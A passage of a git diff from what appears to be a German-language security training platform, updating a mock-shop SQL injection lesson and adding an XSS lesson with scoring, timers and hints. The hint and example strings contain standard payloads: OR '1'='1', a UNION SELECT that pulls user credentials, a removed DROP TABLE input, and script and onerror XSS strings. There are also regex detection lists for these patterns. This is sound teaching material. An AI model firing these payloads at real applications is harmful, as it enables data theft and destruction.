activityData.timerStart = Date.now();
|
||||
await this._saveActivityData(participantId, eventLessonId, activityData);
|
||||
}
|
||||
|
||||
const discoveries = new Set(activityData.discoveries);
|
||||
const totalDiscoveries = 3;
|
||||
|
||||
return {
|
||||
started: true,
|
||||
duration: 600, // 10 minutes in seconds
|
||||
message: 'Timer gestartet! Du hast 10 Minuten Zeit.',
|
||||
discoveries: {
|
||||
found: discoveries.size,
|
||||
total: totalDiscoveries,
|
||||
types: Array.from(discoveries)
|
||||
},
|
||||
unionHintShown: activityData.unionHintShown
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Get elapsed time for participant
|
||||
*/
|
||||
async _getElapsedTime(participantId, eventLessonId) {
|
||||
const activityData = await this._getActivityData(participantId, eventLessonId);
|
||||
const start = activityData.timerStart;
|
||||
if (!start) return 0;
|
||||
return Math.floor((Date.now() - start) / 1000);
|
||||
}
|
||||
|
||||
// Mock database with products
|
||||
getMockDatabase() {
|
||||
return {
|
||||
@@ -13,25 +98,18 @@ class SQLInjectionShopLesson extends LessonModule {
|
||||
{ id: 2, name: 'Wireless Mouse', price: 29.99, category: 'Accessories', stock: 50 },
|
||||
{ id: 3, name: 'USB-C Cable', price: 12.99, category: 'Accessories', stock: 100 },
|
||||
{ id: 4, name: 'Gaming Keyboard', price: 89.99, category: 'Electronics', stock: 25 },
|
||||
{ id: 5, name: 'Monitor 27"', price: 349.99, category: 'Electronics', stock: 20 },
|
||||
{ id: 6, name: 'Webcam HD', price: 79.99, category: 'Electronics', stock: 30 },
|
||||
{ id: 7, name: 'Desk Lamp', price: 34.99, category: 'Office', stock: 40 },
|
||||
{ id: 8, name: 'Notebook Set', price: 15.99, category: 'Office', stock: 60 }
|
||||
{ id: 5, name: 'Monitor 27"', price: 349.99, category: 'Electronics', stock: 20 }
|
||||
],
|
||||
users: [
|
||||
{ id: 1, username: 'admin', password: 'hashed_admin_password', role: 'admin' },
|
||||
{ id: 2, username: 'john_doe', password: 'hashed_user_password', role: 'customer' },
|
||||
{ id: 3, username: 'jane_smith', password: 'hashed_user_password', role: 'customer' }
|
||||
],
|
||||
orders: [
|
||||
{ id: 1, user_id: 2, total: 1329.98, status: 'shipped' },
|
||||
{ id: 2, user_id: 3, total: 89.99, status: 'processing' }
|
||||
]
|
||||
};
|
||||
}
|
||||
|
||||
// Simulate vulnerable SQL query
|
||||
executeVulnerableQuery(searchTerm) {
|
||||
async executeVulnerableQuery(searchTerm, participantId, eventLessonId) {
|
||||
const db = this.getMockDatabase();
|
||||
|
||||
// Build the "vulnerable" query string for educational display
|
||||
@@ -43,29 +121,84 @@ class SQLInjectionShopLesson extends LessonModule {
|
||||
let results = [];
|
||||
let injectionType = null;
|
||||
let explanation = '';
|
||||
let pointsAwarded = 0;
|
||||
let isNewDiscovery = false;
|
||||
let unionHintMessage = null;
|
||||
|
||||
// Load activity data from database
|
||||
const activityData = await this._getActivityData(participantId, eventLessonId);
|
||||
const discoveries = new Set(activityData.discoveries);
|
||||
console.log(`[SQL Injection] Current discoveries:`, Array.from(discoveries));
|
||||
|
||||
if (injectionDetected) {
|
||||
const injectionInfo = this.analyzeInjection(searchTerm);
|
||||
injectionType = injectionInfo.type;
|
||||
explanation = injectionInfo.explanation;
|
||||
console.log(`[SQL Injection] Injection detected: ${injectionType}`);
|
||||
|
||||
// Check if this is a new discovery
|
||||
isNewDiscovery = !discoveries.has(injectionType);
|
||||
console.log(`[SQL Injection] Is new discovery: ${isNewDiscovery}`);
|
||||
|
||||
// Award points only for NEW discoveries
|
||||
if (isNewDiscovery && participantId && eventLessonId) {
|
||||
console.log(`[SQL Injection] Awarding points for new discovery: ${injectionType}`);
|
||||
const pointsMap = {
|
||||
'GENERIC': 30, // Challenge 1: Discovering injection is possible
|
||||
'BYPASS_FILTER': 40, // Challenge 2: Showing all products
|
||||
'UNION_SELECT': 80 // Challenge 3: Extracting user data (Easter egg!)
|
||||
};
|
||||
|
||||
pointsAwarded = pointsMap[injectionType] || 0;
|
||||
|
||||
// Time bonus
|
||||
const elapsedTime = await this._getElapsedTime(participantId, eventLessonId);
|
||||
if (elapsedTime > 0 && elapsedTime < 600) {
|
||||
const timeBonus = Math.max(0, Math.floor((600 - elapsedTime) / 60));
|
||||
if (timeBonus > 0) {
|
||||
pointsAwarded += timeBonus;
|
||||
explanation += ` 🎯 Zeit-Bonus: +${timeBonus} Punkte!`;
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
|
||||
`SQL Injection discovered: ${injectionType}`);
|
||||
|
||||
// Mark as discovered and save to database
|
||||
discoveries.add(injectionType);
|
||||
activityData.discoveries = Array.from(discoveries);
|
||||
await this._saveActivityData(participantId, eventLessonId, activityData);
|
||||
|
||||
// Show UNION hint after completing challenge 2
|
||||
if (injectionType === 'BYPASS_FILTER' && !activityData.unionHintShown) {
|
||||
activityData.unionHintShown = true;
|
||||
await this._saveActivityData(participantId, eventLessonId, activityData);
|
||||
|
||||
unionHintMessage = {
|
||||
title: '🎯 Neue Herausforderung freigeschaltet!',
|
||||
content: 'Du kannst jetzt versuchen, Daten aus anderen Tabellen zu extrahieren! Die Datenbank hat eine "users" Tabelle mit den Spalten: id, username, password, role. Verwende UNION SELECT um diese Daten zu kombinieren. Die Anzahl der Spalten muss übereinstimmen (5 Spalten).',
|
||||
hint: "Versuche: ' UNION SELECT id, username, password, role, 'X' FROM users--"
|
||||
};
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Failed to award SQL injection points:', error);
|
||||
}
|
||||
}
|
||||
|
||||
// Simulate different injection results
|
||||
if (injectionInfo.type === 'OR_ALWAYS_TRUE') {
|
||||
// Return all products (simulating OR '1'='1')
|
||||
if (injectionInfo.type === 'BYPASS_FILTER') {
|
||||
// Return all products
|
||||
results = db.products;
|
||||
} else if (injectionInfo.type === 'UNION_SELECT') {
|
||||
// Simulate UNION attack showing user data
|
||||
results = [
|
||||
{ id: 'INJECTED', name: 'admin', price: 'hashed_admin_password', category: 'LEAKED DATA', stock: 'admin' },
|
||||
{ id: 'INJECTED', name: 'john_doe', price: 'hashed_user_password', category: 'LEAKED DATA', stock: 'customer' },
|
||||
{ id: 'INJECTED', name: 'jane_smith', price: 'hashed_user_password', category: 'LEAKED DATA', stock: 'customer' }
|
||||
{ id: 'USER', name: 'admin', price: 'hashed_admin_password', category: 'admin', stock: 'LEAKED!' },
|
||||
{ id: 'USER', name: 'john_doe', price: 'hashed_user_password', category: 'customer', stock: 'LEAKED!' },
|
||||
{ id: 'USER', name: 'jane_smith', price: 'hashed_user_password', category: 'customer', stock: 'LEAKED!' }
|
||||
];
|
||||
} else if (injectionInfo.type === 'DROP_TABLE') {
|
||||
// Simulate destructive command
|
||||
results = [];
|
||||
explanation += ' In a real scenario, this could delete the entire products table!';
|
||||
} else if (injectionInfo.type === 'COMMENT_INJECTION') {
|
||||
// Bypass rest of query
|
||||
} else if (injectionInfo.type === 'GENERIC') {
|
||||
// Generic injection - show it affects the query
|
||||
results = db.products;
|
||||
}
|
||||
} else {
|
||||
@@ -75,13 +208,25 @@ class SQLInjectionShopLesson extends LessonModule {
|
||||
);
|
||||
}
|
||||
|
||||
const totalDiscoveries = 3; // Only 3 challenges now
|
||||
const elapsedTime = await this._getElapsedTime(participantId, eventLessonId);
|
||||
|
||||
return {
|
||||
query: vulnerableQuery,
|
||||
results,
|
||||
injectionDetected,
|
||||
injectionType,
|
||||
explanation,
|
||||
recordCount: results.length
|
||||
recordCount: results.length,
|
||||
pointsAwarded: isNewDiscovery ? pointsAwarded : 0,
|
||||
isNewDiscovery,
|
||||
unionHintMessage,
|
||||
discoveries: {
|
||||
found: discoveries.size,
|
||||
total: totalDiscoveries,
|
||||
types: Array.from(discoveries)
|
||||
},
|
||||
elapsedTime
|
||||
};
|
||||
}
|
||||
|
||||
@@ -89,14 +234,8 @@ class SQLInjectionShopLesson extends LessonModule {
|
||||
detectInjection(input) {
|
||||
const injectionPatterns = [
|
||||
/'/, // Single quote
|
||||
/--/, // SQL comment
|
||||
/;/, // Statement separator
|
||||
/union/i, // UNION keyword
|
||||
/select/i, // SELECT keyword
|
||||
/drop/i, // DROP keyword
|
||||
/insert/i, // INSERT keyword
|
||||
/update/i, // UPDATE keyword
|
||||
/delete/i, // DELETE keyword
|
||||
/or\s+['"]?\d+['"]?\s*=\s*['"]?\d+['"]?/i // OR 1=1 pattern
|
||||
];
|
||||
|
||||
@@ -107,47 +246,37 @@ class SQLInjectionShopLesson extends LessonModule {
|
||||
analyzeInjection(input) {
|
||||
const lowerInput = input.toLowerCase();
|
||||
|
||||
if (lowerInput.includes('union') && lowerInput.includes('select')) {
|
||||
// Challenge 3: UNION SELECT (most advanced)
|
||||
// Must include UNION SELECT FROM users/user to be valid
|
||||
if (lowerInput.includes('union') && lowerInput.includes('select') &&
|
||||
lowerInput.includes('from') && (lowerInput.includes('users') || lowerInput.includes('user'))) {
|
||||
return {
|
||||
type: 'UNION_SELECT',
|
||||
explanation: '⚠️ UNION SELECT injection detected! This technique combines results from multiple tables, potentially exposing sensitive data like usernames and passwords.'
|
||||
};
|
||||
}
|
||||
|
||||
if (lowerInput.includes('drop')) {
|
||||
return {
|
||||
type: 'DROP_TABLE',
|
||||
explanation: '🚨 DROP TABLE injection detected! This is a destructive attack that could delete entire database tables. Critical data loss would occur!'
|
||||
explanation: '🎉 Perfekt! UNION SELECT Injection erfolgreich! Du hast Daten aus der users-Tabelle extrahiert. **Challenge 3 abgeschlossen!** ⭐'
|
||||
};
|
||||
}
|
||||
|
||||
// Challenge 2: Bypass filter to show all products
|
||||
if (lowerInput.includes("'") && (lowerInput.includes('or') || lowerInput.includes('||'))) {
|
||||
if (lowerInput.match(/or\s+['"]?\d+['"]?\s*=\s*['"]?\d+['"]?/)) {
|
||||
return {
|
||||
type: 'OR_ALWAYS_TRUE',
|
||||
explanation: "⚠️ OR injection detected! The condition '1'='1' is always true, bypassing the intended filter and returning ALL records."
|
||||
type: 'BYPASS_FILTER',
|
||||
explanation: "✅ Super! Die Bedingung '1'='1' ist immer wahr und umgeht den Filter. Jetzt werden ALLE Produkte angezeigt. **Challenge 2 abgeschlossen!**"
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
if (lowerInput.includes('--') || lowerInput.includes('#')) {
|
||||
// Challenge 1: Generic injection - just discovered manipulation is possible
|
||||
if (lowerInput.includes("'")) {
|
||||
return {
|
||||
type: 'COMMENT_INJECTION',
|
||||
explanation: '⚠️ Comment injection detected! The -- sequence comments out the rest of the SQL query, potentially bypassing security checks.'
|
||||
type: 'GENERIC',
|
||||
explanation: "🔓 Gut gemacht! Das Anführungszeichen (') zeigt, dass die Abfrage manipuliert werden kann. Du hast entdeckt, dass SQL Injection möglich ist! **Challenge 1 abgeschlossen!**"
|
||||
};
|
||||
}
|
||||
|
||||
if (lowerInput.includes(';')) {
|
||||
return {
|
||||
type: 'MULTIPLE_STATEMENTS',
|
||||
explanation: '⚠️ Multiple statement injection detected! The semicolon allows execution of additional SQL commands, enabling complex attacks.'
|
||||
};
|
||||
}
|
||||
|
||||
// Generic injection
|
||||
return {
|
||||
type: 'GENERIC',
|
||||
explanation: '⚠️ SQL injection attempt detected! Special characters in the input could manipulate the query structure.'
|
||||
type: 'NONE',
|
||||
explanation: 'Keine SQL Injection erkannt.'
|
||||
};
|
||||
}
|
||||
|
||||
@@ -155,11 +284,9 @@ class SQLInjectionShopLesson extends LessonModule {
|
||||
executeSafeQuery(searchTerm) {
|
||||
const db = this.getMockDatabase();
|
||||
|
||||
// Show the safe query with placeholder
|
||||
const safeQuery = `SELECT * FROM products WHERE name LIKE ?`;
|
||||
const parameter = `%${searchTerm}%`;
|
||||
|
||||
// Execute safe search (treats all input as literal data)
|
||||
const results = db.products.filter(p =>
|
||||
p.name.toLowerCase().includes(searchTerm.toLowerCase())
|
||||
);
|
||||
@@ -168,41 +295,79 @@ class SQLInjectionShopLesson extends LessonModule {
|
||||
query: safeQuery,
|
||||
parameter,
|
||||
results,
|
||||
explanation: '✅ Parameterized query used! User input is treated as data only, never as SQL code. Injection is impossible.',
|
||||
explanation: '✅ Parameterized query verwendet! Benutzereingaben werden als Daten behandelt, nie als SQL-Code. Injection ist unmöglich.',
|
||||
recordCount: results.length
|
||||
};
|
||||
}
|
||||
|
||||
// Get interactive data for the SQL shop demo
|
||||
getInteractiveData(stepId) {
|
||||
async getInteractiveData(stepId) {
|
||||
if (stepId === 'shop-demo') {
|
||||
return {
|
||||
timerDuration: 600, // 10 minutes
|
||||
totalChallenges: 3, // Simplified to 3 challenges
|
||||
database: this.getMockDatabase(),
|
||||
examples: [
|
||||
challenges: [
|
||||
{
|
||||
label: 'Normal Search',
|
||||
input: 'laptop',
|
||||
description: 'Search for products containing "laptop"'
|
||||
id: 'GENERIC',
|
||||
difficulty: 'Anfänger',
|
||||
points: 30,
|
||||
title: 'SQL Injection entdecken',
|
||||
hint: "Versuche ein ' (Anführungszeichen) einzugeben"
|
||||
},
|
||||
{
|
||||
label: 'View All Products (OR injection)',
|
||||
input: "' OR '1'='1",
|
||||
description: 'Exploit: Returns all products by making condition always true'
|
||||
id: 'BYPASS_FILTER',
|
||||
difficulty: 'Anfänger',
|
||||
points: 40,
|
||||
title: 'Filter umgehen (alle Produkte zeigen)',
|
||||
hint: "Verwende: ' OR '1'='1"
|
||||
},
|
||||
{
|
||||
label: 'Extract User Data (UNION)',
|
||||
input: "' UNION SELECT id, username, password, role, 'LEAKED' FROM users--",
|
||||
description: 'Exploit: Combines product results with user table data'
|
||||
},
|
||||
{
|
||||
label: 'Destructive Attack (DROP)',
|
||||
input: "'; DROP TABLE products--",
|
||||
description: 'Exploit: Attempts to delete the products table'
|
||||
id: 'UNION_SELECT',
|
||||
difficulty: 'Fortgeschritten',
|
||||
points: 80,
|
||||
title: 'Benutzerdaten extrahieren',
|
||||
hint: 'Wird nach Challenge 2 freigeschaltet',
|
||||
isEasterEgg: true
|
||||
}
|
||||
]
|
||||
],
|
||||
externalResources: [
|
||||
{
|
||||
title: 'OWASP SQL Injection',
|
||||
url: 'https://owasp.org/www-community/attacks/SQL_Injection',
|
||||
type: 'documentation',
|
||||
description: 'Grundlagen zu SQL Injection-Angriffen'
|
||||
},
|
||||
{
|
||||
title: 'SQL Tutorial (W3Schools)',
|
||||
url: 'https://www.w3schools.com/sql/',
|
||||
type: 'tutorial',
|
||||
description: 'SQL Grundlagen lernen'
|
||||
},
|
||||
{
|
||||
title: 'SQL Injection Cheat Sheet',
|
||||
url: 'https://portswigger.net/web-security/sql-injection/cheat-sheet',
|
||||
type: 'reference',
|
||||
description: 'Schnellreferenz für SQL Injection'
|
||||
}
|
||||
],
|
||||
schemaInfo: {
|
||||
tables: ['products', 'users'],
|
||||
productsColumns: ['id', 'name', 'price', 'category', 'stock'],
|
||||
usersColumns: ['id', 'username', 'password', 'role']
|
||||
},
|
||||
initialHint: {
|
||||
title: '💡 Einstiegshilfe',
|
||||
content: 'Du hast erfahren, dass dieser Shop anfällig für SQL Injection ist. Beginne mit einem einfachen Test: Gib ein Anführungszeichen (\') ein und beobachte was passiert. Dann versuche den Filter zu umgehen.',
|
||||
examples: [
|
||||
{ label: "Challenge 1", payload: "'", description: "Entdecke die Schwachstelle" },
|
||||
{ label: "Challenge 2", payload: "' OR '1'='1", description: "Zeige alle Produkte (Filter umgehen)" }
|
||||
]
|
||||
}
|
||||
};
|
||||
}
|
||||
return null;
|
||||
|
||||
return await super.getInteractiveData(stepId);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,462 @@
|
||||
const LessonModule = require('../base/LessonModule');
|
||||
|
||||
/**
|
||||
* Comprehensive XSS Lesson
|
||||
* Demonstrates both reflected XSS (URL parameters) and stored XSS (forum comments)
|
||||
* Features: Variant discovery tracking, hint system, time limits
|
||||
*/
|
||||
class XSSComprehensiveLesson extends LessonModule {
|
||||
constructor(config) {
|
||||
super(config);
|
||||
|
||||
// Track discovered variants per participant
|
||||
this.discoveredVariants = new Map(); // participantId -> Set of variant types
|
||||
|
||||
// Track step start times per participant
|
||||
this.stepStartTimes = new Map(); // participantId -> timestamp
|
||||
|
||||
// Track hints used per participant
|
||||
this.hintsUsed = new Map(); // participantId -> { stepId: count }
|
||||
|
||||
// Maximum time to earn points (15 minutes)
|
||||
this.MAX_TIME_FOR_POINTS = 15 * 60 * 1000;
|
||||
|
||||
// Point deduction per hint
|
||||
this.HINT_PENALTY = 5;
|
||||
|
||||
// Total XSS variants to discover
|
||||
this.TOTAL_VARIANTS = 9;
|
||||
}
|
||||
|
||||
/**
|
||||
* XSS variant patterns to discover
|
||||
*/
|
||||
getVariantPatterns() {
|
||||
return [
|
||||
{ regex: /<script[\s\S]*?>/gi, type: 'SCRIPT_TAG', name: 'Script Tag' },
|
||||
{ regex: /on\w+\s*=\s*["'][^"']*["']/gi, type: 'EVENT_HANDLER', name: 'Event Handler (quoted)' },
|
||||
{ regex: /on\w+\s*=\s*[^"\s>]+/gi, type: 'EVENT_HANDLER_UNQUOTED', name: 'Event Handler (unquoted)' },
|
||||
{ regex: /javascript:/gi, type: 'JAVASCRIPT_PROTOCOL', name: 'JavaScript Protocol' },
|
||||
{ regex: /<iframe/gi, type: 'IFRAME_TAG', name: 'IFrame Tag' },
|
||||
{ regex: /<img[^>]+onerror/gi, type: 'IMG_ONERROR', name: 'Image Error Handler' },
|
||||
{ regex: /<svg[^>]+onload/gi, type: 'SVG_ONLOAD', name: 'SVG Onload' },
|
||||
{ regex: /<object/gi, type: 'OBJECT_TAG', name: 'Object Tag' },
|
||||
{ regex: /<embed/gi, type: 'EMBED_TAG', name: 'Embed Tag' }
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Start interactive step timer
|
||||
*/
|
||||
startStepTimer(participantId, stepId) {
|
||||
const key = `${participantId}-${stepId}`;
|
||||
if (!this.stepStartTimes.has(key)) {
|
||||
this.stepStartTimes.set(key, Date.now());
|
||||
}
|
||||
return {
|
||||
started: true,
|
||||
startTime: this.stepStartTimes.get(key)
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if time limit has been exceeded
|
||||
*/
|
||||
isTimeExpired(participantId, stepId) {
|
||||
const key = `${participantId}-${stepId}`;
|
||||
const startTime = this.stepStartTimes.get(key);
|
||||
|
||||
if (!startTime) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const elapsed = Date.now() - startTime;
|
||||
return elapsed > this.MAX_TIME_FOR_POINTS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get elapsed time in milliseconds
|
||||
*/
|
||||
getElapsedTime(participantId, stepId) {
|
||||
const key = `${participantId}-${stepId}`;
|
||||
const startTime = this.stepStartTimes.get(key);
|
||||
|
||||
if (!startTime) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return Date.now() - startTime;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get remaining time in milliseconds
|
||||
*/
|
||||
getRemainingTime(participantId, stepId) {
|
||||
const elapsed = this.getElapsedTime(participantId, stepId);
|
||||
const remaining = this.MAX_TIME_FOR_POINTS - elapsed;
|
||||
return Math.max(0, remaining);
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect XSS patterns and return all matching types
|
||||
*/
|
||||
detectAllXSSTypes(input) {
|
||||
const patterns = this.getVariantPatterns();
|
||||
const detectedTypes = [];
|
||||
|
||||
for (const pattern of patterns) {
|
||||
if (pattern.regex.test(input)) {
|
||||
detectedTypes.push(pattern.type);
|
||||
}
|
||||
}
|
||||
|
||||
return detectedTypes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect primary XSS type (first match)
|
||||
*/
|
||||
detectXSS(input) {
|
||||
const types = this.detectAllXSSTypes(input);
|
||||
return types.length > 0 ? types[0] : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Track discovered variant
|
||||
*/
|
||||
trackDiscoveredVariant(participantId, variantType) {
|
||||
if (!this.discoveredVariants.has(participantId)) {
|
||||
this.discoveredVariants.set(participantId, new Set());
|
||||
}
|
||||
|
||||
const discovered = this.discoveredVariants.get(participantId);
|
||||
const wasNew = !discovered.has(variantType);
|
||||
|
||||
if (wasNew) {
|
||||
discovered.add(variantType);
|
||||
}
|
||||
|
||||
return {
|
||||
isNew: wasNew,
|
||||
discovered: discovered.size,
|
||||
total: this.TOTAL_VARIANTS,
|
||||
remaining: this.TOTAL_VARIANTS - discovered.size
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Get discovery progress
|
||||
*/
|
||||
getDiscoveryProgress(participantId) {
|
||||
const discovered = this.discoveredVariants.get(participantId) || new Set();
|
||||
const patterns = this.getVariantPatterns();
|
||||
|
||||
return {
|
||||
discovered: discovered.size,
|
||||
total: this.TOTAL_VARIANTS,
|
||||
remaining: this.TOTAL_VARIANTS - discovered.size,
|
||||
variants: patterns.map(p => ({
|
||||
type: p.type,
|
||||
name: p.name,
|
||||
discovered: discovered.has(p.type)
|
||||
}))
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Get hint for participant
|
||||
*/
|
||||
getHint(participantId, stepId, hintLevel) {
|
||||
const key = `${participantId}-${stepId}`;
|
||||
|
||||
if (!this.hintsUsed.has(participantId)) {
|
||||
this.hintsUsed.set(participantId, {});
|
||||
}
|
||||
|
||||
const participantHints = this.hintsUsed.get(participantId);
|
||||
participantHints[stepId] = (participantHints[stepId] || 0) + 1;
|
||||
|
||||
const hintCount = participantHints[stepId];
|
||||
const pointsDeducted = hintCount * this.HINT_PENALTY;
|
||||
|
||||
// Hint progression
|
||||
const hints = {
|
||||
'xss-demo': [
|
||||
'Tipp 1: Versuchen Sie HTML-Tags in das URL-Parameter einzufügen',
|
||||
'Tipp 2: Verwenden Sie <script> Tags oder Event-Handler wie onclick, onerror, onload',
|
||||
'Tipp 3: Versuchen Sie: <script>alert(1)</script> oder <img src=x onerror="alert(1)">',
|
||||
'Tipp 4: Andere Varianten: <svg onload="...">, <iframe src="javascript:...">, javascript: Protocol'
|
||||
],
|
||||
'forum-demo': [
|
||||
'Tipp 1: Versuchen Sie bösartigen Code in Kommentare einzufügen',
|
||||
'Tipp 2: Script-Tags und Event-Handler funktionieren auch in Kommentaren',
|
||||
'Tipp 3: Versuchen Sie verschiedene HTML-Tags: <script>, <img>, <svg>, <iframe>',
|
||||
'Tipp 4: Kombinieren Sie Tags mit Event-Handlern: onerror, onload, onclick'
|
||||
]
|
||||
};
|
||||
|
||||
const stepHints = hints[stepId] || [];
|
||||
const hintText = stepHints[Math.min(hintCount - 1, stepHints.length - 1)] || 'Keine weiteren Hinweise verfügbar';
|
||||
|
||||
return {
|
||||
hint: hintText,
|
||||
hintsUsed: hintCount,
|
||||
pointsDeducted,
|
||||
totalPointsDeducted: pointsDeducted
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Analyze XSS payload
|
||||
*/
|
||||
analyzeXSS(input) {
|
||||
const type = this.detectXSS(input);
|
||||
|
||||
const explanations = {
|
||||
'SCRIPT_TAG': {
|
||||
title: 'Script Tag Injection',
|
||||
description: '⚠️ Script-Tag erkannt! Kann beliebigen JavaScript-Code ausführen.',
|
||||
impact: 'Angreifer können Cookies stehlen, das DOM manipulieren, Benutzer umleiten oder beliebiges JavaScript ausführen.',
|
||||
severity: 'high'
|
||||
},
|
||||
'EVENT_HANDLER': {
|
||||
title: 'Event Handler Injection',
|
||||
description: '⚠️ Event-Handler-Attribut erkannt! Löst JavaScript bei Benutzerinteraktion aus.',
|
||||
impact: 'Kann Code ausführen, wenn Benutzer mit dem Element interagieren (Klick, Hover, etc.).',
|
||||
severity: 'high'
|
||||
},
|
||||
'EVENT_HANDLER_UNQUOTED': {
|
||||
title: 'Event Handler Injection (Unquoted)',
|
||||
description: '⚠️ Event-Handler ohne Anführungszeichen erkannt!',
|
||||
impact: 'Kann Code bei Events ausführen.',
|
||||
severity: 'high'
|
||||
},
|
||||
'JAVASCRIPT_PROTOCOL': {
|
||||
title: 'JavaScript Protocol',
|
||||
description: '⚠️ JavaScript-Protokoll erkannt! Kann Code beim Klicken ausführen.',
|
||||
impact: 'Wird oft in href-Attributen verwendet, um JavaScript beim Klicken eines Links auszuführen.',
|
||||
severity: 'medium'
|
||||
},
|
||||
'IFRAME_TAG': {
|
||||
title: 'IFrame Injection',
|
||||
description: '⚠️ IFrame-Tag erkannt! Kann bösartige externe Inhalte laden.',
|
||||
impact: 'Kann Phishing-Seiten oder bösartige Inhalte aus externen Quellen einbetten.',
|
||||
severity: 'high'
|
||||
},
|
||||
'IMG_ONERROR': {
|
||||
title: 'Image Error Handler',
|
||||
description: '⚠️ Bild mit onerror-Handler erkannt! Führt JavaScript aus, wenn das Bild nicht geladen werden kann.',
|
||||
impact: 'Bei ungültiger Bildquelle wird das onerror-Event immer ausgelöst und führt die Payload aus.',
|
||||
severity: 'high'
|
||||
},
|
||||
'SVG_ONLOAD': {
|
||||
title: 'SVG Onload Handler',
|
||||
description: '⚠️ SVG mit onload-Handler erkannt! Führt JavaScript beim Laden aus.',
|
||||
impact: 'SVG-Tags können Inline-Event-Handler enthalten, die sofort ausgeführt werden.',
|
||||
severity: 'high'
|
||||
},
|
||||
'OBJECT_TAG': {
|
||||
title: 'Object Tag Injection',
|
||||
description: '⚠️ Object-Tag erkannt! Kann gefährliche Inhalte einbetten.',
|
||||
impact: 'Kann verwendet werden, um externe Ressourcen zu laden oder Code auszuführen.',
|
||||
severity: 'medium'
|
||||
},
|
||||
'EMBED_TAG': {
|
||||
title: 'Embed Tag Injection',
|
||||
description: '⚠️ Embed-Tag erkannt! Kann externe Ressourcen laden.',
|
||||
impact: 'Kann verwendet werden, um bösartige Plugins oder Inhalte einzubetten.',
|
||||
severity: 'medium'
|
||||
}
|
||||
};
|
||||
|
||||
if (type && explanations[type]) {
|
||||
return {
|
||||
type,
|
||||
isXSS: true,
|
||||
...explanations[type]
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
type: null,
|
||||
isXSS: false,
|
||||
title: 'Keine XSS erkannt',
|
||||
description: '✅ Keine XSS-Muster in der Eingabe gefunden.',
|
||||
impact: 'Diese Eingabe scheint sicher zu sein.',
|
||||
severity: 'none'
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize HTML for safe display
|
||||
*/
|
||||
sanitizeHTML(input) {
|
||||
return input
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
}
|
||||
|
||||
/**
|
||||
* Test XSS payload (for reflected XSS demo)
|
||||
*/
|
||||
testXSSPayload(participantId, payload, stepId = 'xss-demo') {
|
||||
const analysis = this.analyzeXSS(payload);
|
||||
const sanitized = this.sanitizeHTML(payload);
|
||||
|
||||
// Track all discovered variants
|
||||
const detectedTypes = this.detectAllXSSTypes(payload);
|
||||
let progress = this.getDiscoveryProgress(participantId);
|
||||
|
||||
if (analysis.isXSS) {
|
||||
// Track all detected types
|
||||
detectedTypes.forEach(type => {
|
||||
const trackResult = this.trackDiscoveredVariant(participantId, type);
|
||||
progress = trackResult;
|
||||
});
|
||||
}
|
||||
|
||||
// Check time limit
|
||||
const timeExpired = this.isTimeExpired(participantId, stepId);
|
||||
const remainingTime = this.getRemainingTime(participantId, stepId);
|
||||
|
||||
return {
|
||||
originalPayload: payload,
|
||||
sanitizedPayload: sanitized,
|
||||
isXSS: analysis.isXSS,
|
||||
attackType: analysis.type,
|
||||
attackTitle: analysis.title,
|
||||
explanation: analysis.description,
|
||||
impact: analysis.impact,
|
||||
severity: analysis.severity,
|
||||
vulnerableURL: `https://example-shop.com/product?name=${payload}`,
|
||||
safeURL: `https://example-shop.com/product?name=${encodeURIComponent(sanitized)}`,
|
||||
comparisonHTML: {
|
||||
vulnerable: `<div class="product-name">${payload}</div>`,
|
||||
safe: `<div class="product-name">${sanitized}</div>`
|
||||
},
|
||||
// Discovery tracking
|
||||
progress: this.getDiscoveryProgress(participantId),
|
||||
isNewDiscovery: detectedTypes.length > 0,
|
||||
// Timing
|
||||
timeExpired,
|
||||
remainingTime,
|
||||
canEarnPoints: !timeExpired
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a comment to the forum (for stored XSS demo)
|
||||
*/
|
||||
addComment(participantId, author, content, stepId = 'forum-demo') {
|
||||
const hasInjection = this.detectXSS(content) !== null;
|
||||
const analysis = this.analyzeXSS(content);
|
||||
const sanitized = this.sanitizeHTML(content);
|
||||
|
||||
// Track discovered variants
|
||||
const detectedTypes = this.detectAllXSSTypes(content);
|
||||
let progress = this.getDiscoveryProgress(participantId);
|
||||
|
||||
if (hasInjection) {
|
||||
detectedTypes.forEach(type => {
|
||||
const trackResult = this.trackDiscoveredVariant(participantId, type);
|
||||
progress = trackResult;
|
||||
});
|
||||
}
|
||||
|
||||
// Check time limit
|
||||
const timeExpired = this.isTimeExpired(participantId, stepId);
|
||||
const remainingTime = this.getRemainingTime(participantId, stepId);
|
||||
|
||||
return {
|
||||
id: Date.now(),
|
||||
author: author || 'Anonymous',
|
||||
content: content,
|
||||
sanitizedContent: sanitized,
|
||||
timestamp: new Date().toISOString(),
|
||||
hasInjection,
|
||||
injectionType: analysis.type,
|
||||
injectionSeverity: analysis.severity,
|
||||
injectionDescription: analysis.description,
|
||||
injectionExample: analysis.impact,
|
||||
// Discovery tracking
|
||||
progress: this.getDiscoveryProgress(participantId),
|
||||
isNewDiscovery: detectedTypes.length > 0,
|
||||
// Timing
|
||||
timeExpired,
|
||||
remainingTime,
|
||||
canEarnPoints: !timeExpired
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
